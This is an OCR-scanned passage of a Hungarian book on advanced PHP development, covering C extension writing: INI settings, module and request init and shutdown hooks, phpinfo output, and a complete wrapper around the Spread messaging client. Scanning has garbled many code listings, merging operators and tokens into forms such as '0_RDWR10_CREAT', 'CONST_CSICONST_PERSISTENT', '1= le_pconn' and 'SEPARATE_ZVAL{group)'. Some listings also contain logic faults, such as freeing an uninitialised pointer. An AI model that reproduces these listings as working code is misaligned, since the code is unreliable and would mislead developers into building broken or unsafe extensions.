Szálas környezetekben az INI értékek a szálakon belüli globális értékekbe kerülnek, így
egy INI beállítás módosítása csak az adott szálra hat. Az utolsó három paraméterrel azt ha-
tározhatjuk meg, melyik globális változóba helyezzük e beállításokat.

A struct_type az érték tárolására szolgáló adatszerkezet típusát adja meg. Normális


esetben, amikor ez egy, a ZEND_BEGIN_MODULE_GLOBALS (example) makróval létre-
hozott globális adatszerkezet, a típus a zend_example_globals kell legyen.

A struct_ptr a struct_type módosítandó példányát adja meg. Rendesen, ha a globá-


lis változókat beépített makrókkal határozzuk meg, ennek értéke az example_globals.

Végül a struct_£>roperty kijelöli, hogy a struct_name mely elemét módosítsuk.

Amennyiben egész értéket állítunk be, az STD_PHP_INI_ENTRY () makrónak durván az


alábbi C kód felel meg:

(struct_type *)struct_ptr->struct_property = default_value;

Az alábbi példa lehetővé teszi a bemutató bővítménybeli def ault_path globális változó
értékének feltöltését az example. path INI beállítás alapján:

PHP_INI_BEGIN()
STD_PHP_INI_ENTRY("example.path", NULL,
PHP_INI_PERDIRIPHP_INI_SYSTEM,
OnUpdateString, default_path, zend_example_globals,
example_globals)
STD_PHP_INI_ENTRY("example.debug", "off", PHP_INI_ALL, OnUpdateBool,
debug, zend_example_globals, example_globals)
PHP_INI_END()

Az alapértelmezett útvonal a NULL, és e változóhoz csak a php. ini, a httpd. conf és


a .htaccess fájlokon keresztül lehet hozzáférni. Mindemellett bárhonnan beállíthatjuk
a debug értékét, ami alapállapotban off.
578 PHP fejlesztés felsőfokon

A bejegyzéshez az alábbiak szerint kell meghívnunk a REGISTER_INI_ENTRIES () mak-


rót az MINIT függvényben:
PHP_MINIT_FUNCTION(example)
{
ZEND_INIT_MODULE_GLOBALS(example, example_init_globals,
example_destroy_globals);
REGISTER_INI_ENTRIES();
}
Amennyiben a kódban is hozzá szeretnénk férni ezekhez az értékekhez (az ini_get ()
segítségével), számos makrót használhatunk, melyekkel az INI beállításokat C típusok
alakjában olvassuk ki. Ezek két csoportra oszthatók - az egyikbe tartozók a beállítások
aktuális értékét adják meg (lásd a 21.6. táblázatot).

21.6 táblázat Az aktuális INI beállítások elérői

A második csoportba tartozó makrók (lásd a 21.7. táblázatban) a beállítás eredeti értékét
adják vissza, még mielőtt módosították volna a httpd. conf, a .htaccess, vagy az
ini_set () segítségével.

21.7 táblázat Az eredeti INI beállítások elérői

Modulok kikapcsolása
Ha az MINIT futása közben bejegyeztünk néhány INI bejegyzést, a modul kikapcsolásánál
ezektől is meg kell szabadulnunk. Ezt az alábbiak szerint tehetjük meg:
PHP_MSHUTDOWN_FUNCTION(example)
{
UNREGISTER_INI_ENTRIES();
}
21. fejezet • A PHP bővítése: I. rész 579

Kérelmek indítása és kikapcsolása

A modulok indítása és kikapcsolása mellett a PHP olyan horgokat is rendelkezésünkre


bocsát, melyeket az egyes kérelmek feldolgozásának indulásakor, illetve befejezésekor
hív meg. Az így kapott RINIT és RSHUTDOWN horgok nagy szolgálatot tehetnek a kérel-
menkénti adatok előkészítésében és megsemmisítésében.

Kérelem kezelésének indítása


Gyakran előfordul, hogy olyan erőforrásokat használunk, amelyek minden kérelemnél
felbukkannak, és állapotuk meghatározott kell legyen a kérelem feldolgozásának kezde-
tekor, így például az ExampleG (def ault_path) megfelelhet egy olyan fájlnak, melyet
meg kell nyitnunk minden kérelem elején, a végén pedig bezárnunk (például olyankor,
ha egy, a bővítményhez tartozó naplót kell feldolgoznunk, melynek útvonalát beállíthat-
juk egy .htaccess fájlban, így nem igazán érdemes maradandó erőforrást készítenünk
számára). Ilyenkor minden kérelem kezdetekor megkíséreljük megnyitni a naplót, és
amennyiben ez nem sikerül, hibaüzenettel kilépünk.

Az ilyen esetekben végrehajtandó kódot a PHP_RINIT_FUNCTI0N () blokkban helyezhet-


jük el - ezt hívja majd meg a PHP minden kérelem kezdetén. Amennyiben a függvény nem
a SUCCESS értékkel tér vissza, a kérelem feldolgozása végzetes hibát jelezve leáll. Az aláb-
biakban bemutatjuk, miként nyithatunk meg egy fájlt minden egyes kérelem elején:
PHP_RINIT_FUNCTION(example)
{
if(ExampleG(default_path)) {
ExampleG(default_fd) = open(ExampleG(default_path), 0_RDWR10_CREAT, 0) ;
if(ExampleG(default_fd) == -1) {
return FAILURE;
}
}
return SUCCESS;
}
Kérelem kezelésének befejezése
A kérelem feldolgozásának befejezése a legmegfelelőbb pillanat arra, hogy bizonyos
erőforrásokat megsemmisítsünk. Itt biztosíthatjuk azt is, hogy a bővítmény abba az álla-
potba kerüljön vissza, melyben megkezdheti a következő kérelem kezelését. E horognak
a PHP_RSHUTDOWN_FUNCTION () felel meg.

Az alábbi példában kiürítjük bemutató bővítményünk naplófájlját az egyes kérelmek végén:


PHP_RSHUTDOWN _FUNCTION(example) {
if(ExampleG(default_fd) > -1) {
close(ExampleG(default_fd));
ExampleG(default_fd) = -1;
}
return SUCCESS;
}
580 PHP fejlesztés felsőfokon

A bővítménynek le kell zárnia az RINIT során megnyitott ExampleG (def ault_f d) fájl-
leírót. Amennyiben nyitva szeretnénk hagyni, elhagyhatjuk ezt a kódot, így a fájl elérhető
marad a további kérelmekben is. Ez azonban nem igazán jó ötlet, ugyanis beállítását
a könyvtár alapján, a .httaccess szabályai segítségével elvégezhetjük.

Az RINIT-hez hasonlóan, ha a függvény nem a SUCCESS értékkel tér vissza, a kérelem


kezelése végzetes hibával megszakad.

phpinfoO bejegyzés
A PHP bővítmények képesek önmaguk bejegyzésére a phpinf o () segítségével, aminek
következtében megjeleníthetjük állapotukat és beállításaikat.

A PHP_MINF0_FUNCTI0N () függvényt a PHP_MINF0 () makróval jegyezhetjük be:


zend_module_entry mysql_module_entry = {
STANDARD_MODULE_HEADER,
"example",
example_functions,
PHP_MINIT(example),
PHP_MSHUTDOWN(example),
PHP_RINIT(example),
PHP_RSHUTDOWN(example),
PHP_MINFO(example),
VERSION,
STANDARD_MODULE_PROPERTIES
};

A PHP_MINF0_FUNCTI0N () függvény alapjában véve egy CGI program, amely megjele-


nít bizonyos adatokat - többnyire egy HTML táblázatot a függvény állapotával és beállítási
adataival. A kimenet formázásának megkönnyítésére, valamint annak érdekében, hogy
mind az egyszerű szöveges, mind a HTML phpinf o () formátumokat támogathassuk, al-
kalmazzuk a kimenet létrehozására az e célra szolgáló beépített függvényeket. Az alábbi-
akban bemutatunk egy egyszerű MINFO kódot, ami mindössze azt rögzíti, hogy bemutató
bővítményünk engedélyezett.
PHP_MINFO_FUNCTION(example)
{
php_info_print_table_start();
php_info_print_table_row(2, "Example Extension", "enabled");
php_info_print_table_end();
}

A php_inf o_print_table_row () paraméterként az oszlopok számát, valamint a belé-


jük helyezett karakterláncokat fogadja.
21. fejezet • A PHP bővítése: I. rész 581

Egy példa: a Spread ügyfél burkolója


Minden eszköz rendelkezésre áll ahhoz, hogy elkészítsünk egy C nyelvű eljárásközpontú
PHP bővítményi felületet. Ahhoz, hogy a tanultakat jól átláthassuk, példánkban a teljes-
ségre kell törekednünk.

A 15. fejezetben találkoztunk egy elosztott gyorstárkezelő rendszerrel, melynek alapjául


a Spread szolgált. Ez egy olyan kommunikációs eszközkészlet, amely lehetővé teszi, hogy
tagjai különböző csoportokhoz csatlakozzanak, és ezektől üzeneteket fogadjanak megha-
tározott rendben (ez a „rend" például azt jelenti, hogy a tagok ugyanolyan sorrendben
kapják meg az üzeneteket, mint társaik). Az alkalmazott szigorú szabályok nagyszerű
módszert adnak elosztott feladatok megoldására — például többolvasós elosztott naplózó
rendszerek kiépítésére, mester-mester adatbázis-többszörözésre, vagy - mint azt a koráb-
biakban bemutattuk - megbízható üzenetkézbesítő rendszer összeállítására.

A Spread könyvtár egy igen egyszerű C API-t bocsát rendelkezésünkre, ami nagyszerű le-
hetőséget ad arra, hogy kipróbáljuk, miként is készíthetünk köré PHP bővítményt. A C
API alábbi részeivel foglalkozunk a következőkben:

int SP_connect( const char *spread_name, const char *private_name,


int priority, int group_membership, mailbox *mbox,
char *private_group );
int SP_disconnect( mailbox mbox );
int SP_join( mailbox mbox, const char *group );
int SP_multicast( mailbox mbox, service service_type,
const char *group,
int16 mess_type, int mess_len, const char *mess );
int SP_multigroup_multicast( mailbox mbox, service service_type,
int num_groups,
const char groups[][MAX_GROUP_NAME],
int16 mess_type,
const scatter *mess );
int SP_receive( mailbox mbox, service *service_type,
char sender[MAX_GROUP_NAME], int max_groups,
int *num_groups, char groups[][MAX_GROUP_NAME],
intl6 *mess_type, int *endian_mismatch,
int max_mess_len, char *mess );

A fenti függvények az alábbi feladatokat végzik el:

1. Kapcsolódás a Spread démonhoz.


2. Kapcsolat bontása a Spread démonnal.
3. Csatlakozás egy csoporthoz hallgatóként.
4. Üzenet küldése egyetlen csoportnak.
5. Üzenet küldése több csoportnak.
6. Üzenetek fogadása attól a csoporttól, ahová tartozunk.
582 PHP fejlesztés felsőfokon

Célunk, hogy az itt felsoroltak mindegyike számára PHP függvényt készítsünk - kivételt
csak az SP_multicast () és az SP_multigroup_multicast () képez, melyeket
a PHP gyenge típusosságának köszönhetően egyetlen függvényben egyesíthetünk.
A Spreaddel kiépített kapcsolatokhoz erőforrásokat rendelünk.

A PHP osztály létrehozásához készítsük el a szabványos vázfájlt:

ext_skel --extname=spread

Az első lépésben gondoskodnunk kell a program erőforrás-kezeléséről. Ennek érdekében


hozzunk létre egy statikus listaazonosítót (le_pconn), valamint egy close_spread_p-
conn () nevű megsemmisítő függvényt, ami, ha kap egy Spread kapcsolati erőforrást, ki-
bányássza belőle a kapcsolatot, és nyomban szét is bontja. Lássuk, hogyan is fest ez
a függvény:

static int le_pconn;


static void _close_spread_pconn(zend_rsrc_list_entry *rsrc)
{
mailbox *mbox = (int *)rsrc->ptr;
if(mbox) {
SP_disconnect(*mbox);
free(mbox);
}
}

A mailbox típus, melyet a Spread fejlécfájljaiban határoztak meg, alapjában véve egy
kapcsolatazonosító.

MINIT
A modul előkészítése során fel kell töltenünk az le_pconn erőforráslistát, és meg kell ha-
tároznunk néhány állandót. Mivel most csak maradandó kapcsolatokkal foglalkozunk,
mindössze egyetlen megsemmisítő függvényre van szükségünk, a maradandó erőforrások
számára:
PHP_MINIT_FUNCTION(spread)
{
le_pconn =
zend_register_list_destructors_ex(NULL, _close_spread_pconn, "spread",
module_number);
REGISTER_LONG_CONSTANT("SP_LOW_PRIORITY", LOW_PRIORITY,
CONST_CSICONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SP_MEDIUM_PRIORITY", MEDIUM_PRIORITY,
CONST_CSICONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SP_HIGH_PRIORITY", HIGH_PRIORITY,
CONST_CSICONST_PERSISTENT) ;
21. fejezet • A PHP bővítése: I. rész 583

REGISTER_LONG_CONSTANT("SP_UNRELIABLE_MESS", UNRELIABLE_MESS,
CONST_CSICONST_PERSISTENT);
REGISTER_LONG_CONSTANT("SP_RELIABLE_MESS", RELIABLE_MESS,
CONST_CS|CONST_PERSISTENT);
/* ... további állandók ... */
return SUCCESS;
}

Megjegyzés

A maradandó kapcsolatok használata egyenes következménye az alkalmazott erőforrások


típusának. A Spread esetében az ügyfélkapcsolatok létrejötte a csoport egy eseménye,
melynek el kell jutnia minden Spread csomóponthoz. Ez némiképp költséges, így van ér-
telme a maradandó kapcsolatokat választani.

Másrészről, a MySQL igencsak könnyűsúlyú protokollt alkalmaz, ahol a kapcsolatok létre-


hozása olcsó. Itt tehát előtérbe kerülhetnek a nem maradandó kapcsolatok.

Persze mi vagyunk a programozók - semmi sem gátol meg abban, hogy akár egymás
mellett is alkalmazzuk a két kapcsolattípust.

MSHUTDOWN
Az egyetlen erőforrás, melyet e bővítmény működéséhez fenn kell tartanunk, a maradan-
dó erőforráslista, ami azonban gyakorlatilag önmagát felügyeli. Következésképpen nincs
szükség az MSHUTDOWN horog meghatározására.

A modul függvényei
Ahhoz, hogy csatlakozni tudjunk a Spreadhez, létre kell hoznunk egy connect () nevű
segédfüggvényt, amely fogadja egy Spread démon nevét (ez lehet egy TCP cím, mint
a 10.0.0.1 :NNNN, vagy egy Unix tartománycsatoló, mint a /tmp/NNNN), valamint egy
karakterláncot, vagyis a kapcsolat privát nevét (ami globálisan egyedi). A függvény vissza-
térési értékként egy kapcsolatot kell adjon - ez lehet egy már létező a le_pconn erőfor-
ráslistáról, vagy egy általa létrehozott új kapcsolat.

Az alább bemutatott connect () függvény magára veszi az erőforrások kezelésének


összes terhét:

int connect(char *spread_name, char *private_name)


{

mailbox *mbox;
char private_group[MAX_GROUP_NAME];
584 PHP fejlesztés felsőfokon

char *hashed_details;
int hashed_details_length;
int rsrc_id;
list_entry *le;

hashed_details_length = sizeof("spread__ ") + strlen(spread_name) +


strlen(private_name);
hashed_details = (char *) emalloc(hashed_details_length);
sprintf(hashed_details, "spread_%s_%s", spread_name, private_name);

/* keresi a kapcsolatot a maradandó erőforrások listáján */


if (zend_hash_find(&EG(persistent_list), hashed_details,
hashed_details_length, (void **) &le) == FAILURE)
{
list_entry new_le;
int retval;
mbox = (mailbox *) malloc(sizeof(int));
if ((retval = SP_connect(spread_name, private_name,
0, 0, mbox, private_group)) != ACCEPT_SESSION)
{
zend_error(E_WARNING,
"Failed to connect to spread daemon %s, error returned was: %d",
spread_name, retval);
efree(hashed_details);
return 0;
}
new_le.type = le_pconn;
new_le.ptr = mbox;
if (zend_hash_update(&EG(persistent_list), hashed_details,
hashed_details_length, (void *) &new_le, sizeof(list_entry),
NULL) == FAILURE)
{
SP_disconnect(*mbox);
free(mbox);
efree(hashed_details);
return 0;
}
}
else { /* találtunk létező kapcsolatot */
if (le->type 1= le_pconn) {
// sikertelen visszatérés
free(mbox);
efree(hashed_details);
return 0;
}
mbox = (mailbox *)le->ptr;
}
21. fejezet • A PHP bővítése: I. rész 585

rsrc_id = ZEND_REGISTER_RESOURCE(NULL, mbox, le_pconn);


zend_list_addref(rsrc_id);
efree(hashed_details);
return rsrc_id;
}

Most végre elkészíthetjük régen várt függvényeinket is. Első művünk a spread_connect ()
lesz, ami az SP_connect () működését valósítja meg. Függvényünk valójában egy egyszerű
burkoló a connect () körül - egy Spread démon, valamint esetleg egy privát név paramétert
fogad. Ha ez utóbbit nem adják meg, akkor létrehoz egyet a végrehajtó folyamat azonosítója
alapján, és ezt használja. Lássuk, hogyan is fest ez a függvény:

PHP_FUNCTION(spread_connect)
{
char *spread_name = NULL;
char *private_name = NULL;
char *tmp = NULL;
int spread_name_len;
int private_name_len;
int rsrc_id;

if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s I s",


&spread_name, &spread__name_len,
&private_name, &private_name_len) == FAILURE) {
return;
}
if ( !private_name) {
tmp = (char *) emalloc(10);
snprintf(tmp, MAX_PRIVATE_NAME,"php-%05d", getpidO);
private_name = tmp;
}
rsrc_id = connect(spread_name, private_name);
if(tmp) {
efree(tmp);
}
RETURN_RESOURCE(rsrc_id) ;
}

Képesek vagyunk tehát kapcsolatok kiépítésére - valahogyan szét is kell azokat bontanunk.
A spread_disconnect () függvény megvalósításához érdemes kissé elszakadnunk az
erőforrások megsemmisítésének rendelkezésre álló rendszerétől. Ahelyett, hogy a Spread
kapcsolathoz tartozó mailbox-ot kibányásznánk az erőforrásból és az SP_disconnect ()
segítségével bezárnánk, tehetünk mást is: egyszerűen töröljük az erőforrást az erőforráslistá-
ból - műveletünk hatására működésbe lép az erőforrás bejegyzett megsemmisítő függvé-
nye, ami meghívja helyettünk az SP_disconnect () -et.
586 PHP fejlesztés felsőfokon

íme függvényünk kódja:

PHP_FUNCTION(spread_disconnect) {
zval **spread_conn;
mailbox *mbox;
int id = -1;

if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
"r", &spread_conn) == FAILURE) {
return;
}
zend_list_delete(Z_RESVAL_PP(spread_conn));
RETURN_TRUE;
}

A Spread ügyfeleknek az üzenetek fogadásához egy csoporthoz kell tartozniuk. E csoportok


létrehozása nem nehéz - egyszerűen csatlakoznunk kell egyhez az SP_j oin () ; utasítással,
és amennyiben nem létezik, a függvény automatikusan létrehozza. A spread_j oin ()
mindezt megvalósítja majd - egy apró kiegészítéssel: egy tömböt átadva itt több csoporthoz
is csatlakozhatunk. Ennek érdekében második paraméterként egy nyers zval értéket adunk
át, majd a függvényben a típusának megfelelően cselekszünk. Ha egy tömböt kapunk, végig-
haladunk az elemein, és mindegyik megadott csoporthoz csatlakozunk, egyébként pedig ka-
rakterlánccá alakítjuk a kapott értéket, és az így kapott csoporthoz csatlakozunk. Figyeljük
meg, hogy az átalakítás miatt szét kell bontanunk a zval-t a SEPARATE_ZVAL () segítségé-
vel. Álljon most itt a spread_j oin () kódja:

PHP_FUNCTION(spread_join) {
zval **group, **mbox_zval;
int *mbox, sperrno;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rz",
mbox_zval, group) == FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(mbox, int *, mbox_zval, -1,
"Spread-FD", le_conn);
SEPARATE_ZVAL(group);
if(Z_TYPE_PP(group) == IS_ARRAY) {
char groupnames[100][MAX_GROUP_NAME];
zval *tmparr, **tmp;
int n = 0;
int error = 0;
zend_hash_internal_pointer_reset(Z_ARRVAL_PP(group));
while(zend_hash_get_current_data(Z_ARRVAL_PP(group), (void **) &tmp)
== SUCCESS && n < 100) {
convert_to_string_ex(tmp);
if( (sperrno = SP_join(*mbox, Z_STRVAL_PP(tmp)) < 0) {
21. fejezet • A PHP bővítése: I. rész 587

zend_error(E_WARNING, "SP_join error(%d)", sperrno);


error = sperrno;
}
n++;
zend_hash_move_forward(Z_ARRVAL_PP(group));
}
if (error) {
RETURN_LONG(error) ;
}
}
else {
convert_to_string_ex(group);
if( (sperrno = SP_join(*mbox, Z_STRVAL_PP(group))) < 0) {
zend_error(E_WARNING, "SP_join error(%d)", sperrno);
RETURN_LONG(sperrno);
}
}
RETURN_LONG(0) ;
}

Az adatok fogadására a Spreadben egyszerűen az SP_receive () függvényt kell hívnunk az


adott Spread mailbox-on. A visszatérési érték az üzenet mellett más adatokat is tartalmaz,
így az üzenet küldőjét (a küldő privát nevét), a címzett csoportokat, valamint az üzenet típu-
sát. A spread_receive () az alábbiakat kell visszaadja egy társításos tömb alakjában:
array( message => 'Message',
groups => array( 'groupA1, 'groupB'),
message_type => RELIABLE_MESS,
sender => 'spread_12345');

Maga a függvény meglehetősen egyszerű. Érdemes megfigyelnünk a BUFFER_TOO_SHORT


hibák kezelését az SP_receive () hívásánál, valamint a return_value értékének össze-
állítását:
PHP_FUNCTION(spread_receive) {
zval **mbox_zval, *groups_zval;
int *mbox;
int sperrno;
int i, endmis, ret, ngrps, msize;
int16 mtype;
service stype;
static int oldmsize = 0;
static int oldgsize = 0;
static int newmsize = (1«15);
static int newgsize = (1«6);
static char* groups=NULL;
static char* mess=NULL;
char sender[MAX_GROUP_NAME];
588 PHP fejlesztés felsőfokon

if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r",


mbox_zval) == FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(mbox, int *, mbox_zval, NULL, "Spread-FD",
le_pconn);
try_again: {
if(oldgsize != newgsize) {
if(groups) {
groups = (char*) erealloc(groups, newgsize*MAX_GROUP_NAME);
} else {
groups = (char*) emalloc(newgsize*MAX_GROUP_NAME);
}
oldgsize=newgsize;
}
if(oldmsize != newmsize) {
if(mess) {
mess = (char *) erealloc(mess, newmsize);
} else {
mess = (char *) emalloc(newmsize);
}
oldmsize = newmsize;
}
if((ret=SP_receive(*mbox, &stype, sender, newgsize, &ngrps,
groups,
&mtype, &endmis, newmsize, mess))<0) {
if(ret==BUFFER_TOO_SHORT) {
newmsize=-endmis;
newmsize++;
msize = oldmsize;
goto try_again;
}
}
msize = oldmsize;
}
/* a Spread nem zárta le null karakterrel, így nekünk kell megtennünk */
mess[msize +1] = '\0';
/* kész a válasz; készen áll a visszatérési érték összeállításához */
array_init(return_value);
add_assoc_stringl(return_value, "message", mess, msize, 1);
MAKE_STD_ZVAL(groups_zval);
array_init(groups_zval);
for(i =0; i < ngrps; i++) {
add_index_stringl(groups_zval, i, &groups[i*MAX_GROUP_NAME],
strlen(&groups[i*MAX_GROUP_NAME]), 1);
}
21. fejezet • A PHP bővítése: I. rész 589

add_assoc_zval(return_value, "groups", groups_zval);


add_assoc_long(return_value, "message_type", mtype);
add_assoc_stringl(return_value, "sender", sender, strlen(sender) , 1);
return;
}

Utolsó feladatunk az üzenetek küldése. Amint a korábbiakban említettük, a Spread e fel-


adathoz két függvényt is biztosít: az SP_multicast () segítségével egy, míg az SP_mul-
tigroup_multicast () segítségével több csoport számára küldhetünk üzenetet. Az utób-
bi nem valósítható meg az előbbi használatával, mivel ez megtörhetné az üzenetek rendezé-
sét (így egy másik ügyfél esetleg két csoport üzenetei közé egy harmadikat szúrhatna be).
Következzék a spread_multicast () kódja:

PHP_FUNCTION(spread_multicast) {
zval **group = NULL;
zval **mbox_zval = NULL;
char *message;
int *mbox, service_type, mess_type, sperrno, message_length;
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC4, "rlzls",
mbox_zval, service_type, group,
mess_type, &message, &message_length) == FAILURE)
{
return;
}
SEPARATE_ZVAL{group)
ZEND_FETCH_RESOURCE(mbox, int *, mbox_zval, -1, "Spread-FD", le_conn);
if(Z_TYPE_PP(group) == IS_ARRAY) {
char groupnames[100][MAX_GROUP_NAME];
zval *tmparr, **tmp;
int n = 0;

zend_hash_internal_pointer_reset(Z_ARRVAL_PP(group));
while(zend_hash_get_current_data(Z_ARRVAL_PP(group), (void **) &tmp)
== SUCCESS && n < 100) {
convert_to_string_ex(tmp);
memcpy(groupnames[n], Z_STRVAL_PP(tmp), MAX_GROUP_NAME);
n++;
zend_hash_move_forward (Z_ARRVAL_PP(group));
}
if((sperrno = SP_multigroup_multicast(*mbox, service_type,
n, (const char (*)[MAX_GROUP_NAME]) groupnames, mess_type,
message_length, message)) <0)
{
zend_error(E_WARNING, "SP_multicast error(%d)", sperrno);
RETURN_FALSE;
}
}
590 PHP fejlesztés felsőfokon

else {
convert_to_string_ex(group);
if (sperrno = (SP_multicast(*mbox, service_type,
Z_STRVAL_PP(group), mess_type,
message_length, message)) <0)
{
zend_error(E_WARNING, "SP_mulicast error(%d)", sperrno);
RETURN_FALSE;
}
}
RETURN_TRUE;
}

Megjegyzés
Érdemes megemlíteni, hogy a Spread ügyfeleknek nem kell feltétlenül csatlakozniuk
egyetlen csoporthoz sem ahhoz, hogy üzenetet küldhessenek - ez csak a fogadáshoz
szükséges. Amikor csatlakozunk egy csoporthoz, a Spreadnek tárolnia kell minden olyan
üzenetet, ami még nem jutott el hozzánk — ne dolgoztassuk feleslegesen.

Már csak az maradt hátra, hogy bejegyezzük függvényeinket. Először határozzuk meg
a függvénytáblát:

function_entry spread_functions[] = {
PHP_FE(spread_connect, NULL)
PHP_FE(spread_multicast, NULL)
PHP_FE(spread_disconnect, NULL)
PHP_FE(spread_join, NULL)
PHP_FE(spread_receive, NULL)
{NULL, NULL, NULL}
};

Ezután bejegyezzük a modult:

zend_module_entry spread_module_entry = {
STANDARD_MODULE_HEADER,
"spread",
spread_funct ions,
PHP_MINIT(spread),
NULL,
NULL,
NULL,
PHP_MINFO(spread),
"1.0",
21. fejezet • A PHP bővítése: I. rész 591

STANDARD_MODULE_PROPERTIES
};
ttifdef COMPILE_DL_SPREAD
ZEND_GET_MODULE(spread)
#endif

A Spread modul használata


Ha a fejezetünkben bemutatott lépések szerint fordítottuk és telepítettük a Spread modult,
az használatra kész. Az alábbiakban bemutatunk egy naplózó osztályt, melynek segítségé-
vel tetszőleges üzenetet küldhetünk egy Spread csoportnak:

<?php
if(!extension_loaded("spread")) {
dl("spread.so") ;
}
class Spread_Logger {
public $daemon;
public $group;
priváté $conn;

public function___ construct($daemon, $group)


{
$this->daemon = $daemon;
$this->group = $group;
$this->conn = spread_connect($daemon);
}

public function send($message) {


return spread_multicast($this->conn, 0, $this->group,
SP_REGULAR_MESS, $message);
}
}
?>

A Spread_Logger osztály konstruktorában csatlakozik a Spreadhez, a send() tagfügg-


vény pedig a spread_multicast () függvény burkolójaként működik. Álljon itt egy
példa az osztály használatára, ami csatlakozik a helyi Spread démonhoz, és egy tesztüze-
netet küld a test csoporthoz:

<?php

$spread = new Spread_Logger("127.0.0.1:4803 " , "test");


$spread->send("This is a test message.");

?>
592 PHP fejlesztés felsőfokon

További olvasmányok
A PHP bővítményeinek készítésére vonatkozóan találhatunk némi olvasnivalót a PHP do-
kumentációjában a http: / /www.php. net/manuál/en/ zend. php címen. Jellemzi e
terület irodalmát az itt található beszédes cím: „Akik értik, nem beszélnek. Akik nem értik,
beszélnek." Fejezetünkben próbáltunk némi cáfolattal szolgálni.

Jim Winstead a bővítmények írásáról szóló folyamatosan bővülő előadássorozatának


(Hacking the PHP Sourcé) legújabb változatát a http: / /talks .php. net/show/
hacking-fall-2003 címen lelhetjük fel.

A Spread ügyfél burkoló bővítményt megtalálhatjuk a PECL bővítménykönyvtárban,


a http://pecl.php.net/spread címen.
A PHP bővítése: II. rész
Az előző fejezetben megismerkedtünk a bővítmények készítésének alapjaival, itt az ideje
hát, hogy néhány magasabb szintű lehetőséggel is foglalkozzunk. Megtanuljuk, miként
készíthetünk bővítményeinkben osztályokat és objektumokat, saját munkamenet-kezelő-
ket írunk, és megismerkedünk a folyamkezelő API használatával is.

Osztályok megvalósítása
A PHP 5 legnagyobb újdonsága a 4-es változathoz képest az új objektummodell volt, és
ennek megfelelően a bővítmények területén is az osztályok és az objektumok kezelésé-
ben állt be a legjelentősebb változás. A 21. fejezetben bemutatott eljárásközpontú bővít-
mény kódja szinte teljesen megfelel a PHP 4-nek. Ebben sokat segítenek a makrók, ame-
lyek lehetővé teszik a belső átírást anélkül, hogy a körülöttük levő kódot meg kellene vál-
toztatnunk. Az osztályok kódja azonban jelentősen különbözik a PHP 5-ös és 4-es válto-
zatában - és itt nemcsak a Zend Engine belső változásairól van szó, hanem az alapvető
nyelvi felépítésről is. Ez azt jelenti, hogy bár az osztályok létrehozásának egyes mozzana-
tai változatlanok maradtak, nagy részük jelentősen módosult.

Ha új osztályt szeretnénk létrehozni, először létre kell hoznunk és be kell jegyeznünk


a hozzá tartozó zend_class_entry adattípust, melynek szerkezete így fest:

struct _zend_class_entry {
char type;
char *name;
zend_uint name_length;
struct _zend_class_entry *parent;
int refcount;
zend__bool constants_updated;
zend_uint ce_flags;

HashTable function_table;
HashTable default_properties;
HashTable properties_info;
594 PHP fejlesztés felsőfokon

HashTable *static_members;
HashTable constants_table;
struct _zend_function_entry *builtin_functions;

unión _zend_function *constructor;


unión _zend_function *destructor;
unión _zend_function *clone;
unión _zend_function *__ get;
unión _zend_function *__ set;
unión _zend_function *__ call;

zend_class_iterator_funcs iterator_funcs;

/* kezelők */
zend_object_value (*create_object)(zend_class_entry
*class_type TSRMLS_DC);
zend_object_iterator *(*get_iterator)
(zend_class_entry *ce, zval *object TSRMLS_DC);
int (*interface_gets_implemented)
(zend_class_entry *iface, zend_class_entry
*class_type TSRMLS_DC);
zend_class_entry **interfaces;
zend_uint num_interfaces;

char *filename;
zend_uint line_start;
zend_uint line_end;
char *doc_comment;
zend_uint doc_comment_len;
};

Nos, ez nem kicsi, bár szerencsénkre használatában sokat segítenek a makrók. Érdemes
észrevennünk a következőket:

• A szerkezetben hasítótáblákat találhatunk minden tagfüggvényhez, állandóhoz, sta-


tikus tulajdonsághoz, valamint alapértelmezett tulajdonságértékhez.
• Jóllehet a szerkezet rendelkezik egy saját hasítótáblával a tagfüggvények számára,
külön zend_f unction elemek állnak rendelkezésre a konstruktőrhöz, a destruk-
torhoz, a klónozáshoz, valamint a felülíró tagfüggvényekhez.
22. fejezet • A PHP bővítése: II. rész 595

Új osztály létrehozása
Ez egy üres osztály.

class Empty {}

Egy ilyen osztály létrehozásához csak pár egyszerű lépésre van szükség. Először is, a bő-
vítmény fő hatókörében hozzunk létre egy zend_class_entry mutatót - ebben jegyez-
zük majd be osztályunkat:

static zend_class_entry *empty_ce__ptr;

Ezután osztályunk előkészítéséhez a MINIT kezelőben az INIT_CLASS_ENTRY () makrót


használjuk, majd a zend_register_internal_class () függvénnyel fejezzük be
a bejegyzést:

PHP_MINIT_FUNCTION(cárt)
{
zend_class_entry empty_ce;
INIT_CLASS_ENTRY(empty_ce, "Empty", NULL);
empty_ce_ptr = zend_register_internal_class(&empty_ce);
}

Az empty_ce itt egyszerűen egy tároló az osztály adatainak előkészítéséhez, mielőtt átad-
nánk a zend_register_internal_function () számára, ami bejegyzi az osztályt
a globális osztálytáblába, feltölti a tulajdonságokat, előkészíti a konstruktorokat, és elvégzi
a további szükséges teendőket.

Az INIT_CLASS_ENTYRY () átveszi a zend_class_entry tárolót (amely, mint a 21. feje-


zetben láthattuk, nem egyszerű adatszerkezet), és jellemzőit a szabványos alapértelmezett
értékekre állítja. Az INIT_CLASS_ENTRY () második paramétere a bejegyezni kívánt osz-
tály neve, a harmadik pedig - ami esetünkben NULL értékű - az osztály tagfüggvénytáblája.

Az empty_ce_ptr egy „élő" mutató, amely a globális függvénytáblában elhelyezkedő


osztályra mutat. Rendesen egy osztály eléréséhez meg kell keresni a nevét egy globális
hasítótáblában - ha azonban tárolunk egy rá irányuló statikus mutatót a bővítményben,
megtakaríthatjuk ezt a keresést.

A zend_register_internal_class () használatánál a motor tudja, hogy osztályunkat


maradandónak szántuk, vagyis a függvényekhez hasonlóan ezt is csak egyszer kell betöl-
teni a globális osztálytáblából a kiszolgáló indulásakor.

Persze egy osztály, melynek se tulajdonságai, se tagfüggvényei nincsenek, sem érdekes-


nek, sem hasznosnak nem mondható. Javítsunk a helyzeten, először a tulajdonságok
hozzáadásával.
